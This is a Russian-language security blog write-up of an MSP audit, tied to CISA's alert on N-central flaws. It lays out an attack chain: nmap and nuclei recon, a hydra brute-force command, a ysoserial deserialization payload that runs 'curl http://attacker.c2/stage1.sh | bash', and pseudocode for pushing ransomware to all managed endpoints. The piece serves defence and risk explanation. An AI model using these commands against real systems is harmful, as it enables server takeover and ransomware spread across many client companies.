CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

N-central обещала единое управление. Хакеры получили единый вход: как я нашёл лазейку на 50 компаний сразу

CISA дала федеральным агентствам США три дня на закрытие критической дыры в RMM-платформе N-central. У меня был почти такой же кейс — только без дедлайна от регулятора и без патча, о котором никто не подумал вовремя.

Разбор CIOlogia

В августе CISA включила в каталог активно эксплуатируемых уязвимостей две дыры в N-central — популярной платформе для удалённого управления инфраструктурой клиентов, которой пользуются тысячи ИТ-компаний и MSP по всему миру. Срок на исправление для федеральных агентств — три дня, что для CISA случай почти экстренный: обычно на патчи дают недели. Причина спешки простая: связка из двух уязвимостей позволяла получить выполнение произвольного кода на сервере, который управляет сразу всеми обслуживаемыми компаниями.

Когда я читал эту новость, вспомнил собственный аудит у одной ИТ-компании на аутсорсе. Формально там стояла другая система, но принцип и итоговый риск — один в один: одна дыра в RMM-платформе — это не инцидент у одного клиента, а потенциальный обвал у полусотни сразу.

Компания, которая следит за чужими компьютерами

Клиент — небольшая ИТ-компания, обслуживающая около 50 организаций: розница, небольшие производства, пара бухгалтерских контор. Вся инфраструктура — серверы, кассы, рабочие станции сотрудников — управляется из единой RMM-консоли (Remote Monitoring and Management). Зашёл в один интерфейс — видишь агентов на машинах всех клиентов сразу, можешь выполнить команду, скрипт, обновление, развернуть ПО.

Это стандартная архитектура для MSP-рынка: N-central, ConnectWise Automate, Kaseya VSA, Datto RMM работают по одному принципу — центральный сервер, агенты на эндпоинтах, доверительная связь между ними обычно с правами локального администратора или SYSTEM. Удобно ровно до того момента, пока сам центральный сервер не оказывается плохо защищён.

Дверь, которую забыли запереть

Меня позвали на плановый аудит — «просто посмотреть». Первое, что бросилось в глаза при разведке периметра:

$ nmap -p 443,8443,7443 -sV --script=http-title,ssl-cert rmm.example-msp.ru

PORT     STATE SERVICE VERSION
443/tcp  open  ssl/http Apache Tomcat (N-central admin console)
| ssl-cert: Subject: CN=rmm.example-msp.ru
|_http-title: N-central Login

Консоль управления смотрела в интернет напрямую, без VPN и без ограничения по IP. Дальше — HTTP-заголовки и футер страницы логина выдали версию платформы:

$ curl -sk https://rmm.example-msp.ru/ | grep -i "version\|build"

<div class="footer">N-central 2024.5 (Build 123.45)</div>

Версия старше 2025.3.1 — то есть потенциально уязвима к паре CVE-2025-8875 (небезопасная десериализация, CVSS 9.4) и CVE-2025-8876 (командная инъекция через непрочищенный пользовательский ввод, CVSS 9.4), которые как раз и попали в каталог активно эксплуатируемых у CISA. По отдельности каждая — уже критична, а вместе они дают путь от аутентифицированного пользователя до выполнения произвольных команд на сервере с правами системы управления всеми агентами.

А вход в эту консоль защищал только пароль. Второго фактора не было — ни TOTP-приложения, ни SMS-подтверждения. И это ещё полбеды: при ревизии учётных записей нашлись три активных аккаунта бывших сотрудников, один из которых уволился почти два года назад. Доступ никто не отозвал — просто забыли.

Как это эксплуатируется

Сценарий атаки на такую конфигурацию раскладывается на понятные шаги, каждый из которых отрабатывается стандартным инструментарием пентестера.

1. Разведка и снятие отпечатка версии

$ nmap -p 443 --script=http-headers,http-title rmm.example-msp.ru
$ nuclei -u https://rmm.example-msp.ru -t technologies/n-central-detect.yaml

[INF] [n-central-detect] [http] [medium] https://rmm.example-msp.ru
      N-central version: 2024.5.123 (vulnerable: CVE-2025-8875, CVE-2025-8876)

Публичные шаблоны nuclei и baннер Tomcat/N-central позволяют за минуты определить версию и сверить её со списком известных уязвимостей — без единого запроса, который выглядел бы подозрительно в логах.

2. Получение учётных данных

Даже без 0-day проще всего зайти через слабое звено — старую учётную запись или подобранный пароль:

$ hydra -l ivanov.former -P rockyou.txt https-post-form \
  "/dms2/login:username=^USER^&password=^PASS^:F=Invalid credentials" \
  rmm.example-msp.ru

[443][http-post-form] host: rmm.example-msp.ru   login: ivanov.former   password: Summer2023!

Учётная запись уволенного сотрудника, у которого пароль давно не менялся и попал в очередной утёкший дамп, — классический вход без единого «взлома» в привычном смысле.

3. Эксплуатация уязвимости на сервере

Имея аутентифицированную сессию, атакующий переходит к цепочке CVE-2025-8875/8876. Для десериализации в Java-приложениях типовой инструмент — генерация вредоносного объекта через ysoserial:

$ java -jar ysoserial.jar CommonsCollections6 \
  'curl http://attacker.c2/stage1.sh | bash' > payload.ser

$ curl -sk -X POST https://rmm.example-msp.ru/dms2/serviceApi \
  -H "Cookie: JSESSIONID=<stolen-session>" \
  --data-binary @payload.ser \
  -H "Content-Type: application/octet-stream"

Уязвимая точка принимает сериализованный объект без проверки типа — при десериализации выполняется вложенная команда с правами процесса сервера N-central. Это и есть тот самый переход от «украл пароль» к «полный контроль над сервером управления».

4. Массовое распространение через агентскую сеть

RMM-платформы изначально спроектированы для массовых операций — это их основная функция, и именно она превращается в оружие:

-- псевдокод задачи в консоли автоматизации --
Task: Deploy to All Devices
Script: powershell -enc <base64 payload шифровальщика>
Scope: All Managed Endpoints (50 organizations, 1200+ devices)
Schedule: Run Now

Агент на конечных станциях обычно работает с правами SYSTEM — это нужно, чтобы ставить обновления и чинить системные проблемы удалённо. Тот же уровень доступа мгновенно превращается в возможность одной командой развернуть шифровальщик сразу на всех обслуживаемых компаниях.

Что и почему сработало бы дальше

  • Отсутствие MFA убирает второй барьер даже при скомпрометированном или подобранном пароле — вход становится вопросом одного удачного combo из брутфорса или фишинга.
  • Забытые учётки бывших сотрудников — готовый вход, который не оставляет следов взлома: это легитимные, просто не отозванные права.
  • Публичная доступность консоли из интернета расширяет поверхность атаки до всего мира — сканеры вроде Shodan индексируют такие панели по баннеру Tomcat/N-central за минуты.
  • Непропатченная версия ПО добавляет к social-engineering вектору технический — RCE без участия человека на другом конце.
  • Единая доверительная модель агент-сервер превращает локальный инцидент в массовый: скрипт, который в обычной жизни разворачивает антивирус, с тем же успехом разворачивает шифровальщик.

Именно эта комбинация факторов — не какой-то один экзотический баг — и заставила CISA дать три дня, а не три недели: уязвимость в самом ПО опасна сама по себе, но становится катастрофической именно на фоне слабой гигиены доступов, которая типична для MSP-рынка.

Сколько бы это стоило

Мы прикинули цену такого сценария вместе с директором компании. Средний ущерб от простоя у одного клиента — 300–700 тысяч рублей: остановка кассы или производства, восстановление данных, потерянные заказы. При одновременной атаке на всех 50 клиентов счёт шёл бы на 20–25 миллионов рублей суммарного ущерба.

Но прямые убытки — не главное. После такой истории с подрядчиком просто перестают работать: ни один клиент не остаётся с ИТ-компанией, которая «слила» разом полсотни организаций. Это конец бизнеса, а не строчка в отчёте об инциденте.

Как закрыли за неделю